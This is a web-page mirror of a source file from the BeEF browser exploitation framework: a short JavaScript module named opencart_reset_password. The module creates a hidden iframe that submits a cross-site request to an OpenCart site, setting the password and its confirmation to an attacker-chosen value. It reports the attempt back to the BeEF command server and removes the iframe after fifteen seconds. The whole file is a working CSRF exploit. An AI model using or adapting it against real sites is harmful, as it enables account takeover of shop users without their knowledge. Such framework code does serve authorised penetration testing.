Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/opencart_reset_password/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
var base = '<%= @base %>';
9
var password = '<%= @password %>';
10
11
var opencart_reset_password_iframe = beef.dom.createIframeXsrfForm(base, "POST", "application/x-www-form-urlencoded", [
12
{'type':'hidden', 'name':'password', 'value':password},
13
{'type':'hidden', 'name':'confirm', 'value':password}
14
]);
15
16
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
17
18
cleanup = function() {
19
document.body.removeChild(opencart_reset_password_iframe);
20
}
21
setTimeout("cleanup()", 15000);
22
23
});
24
25
26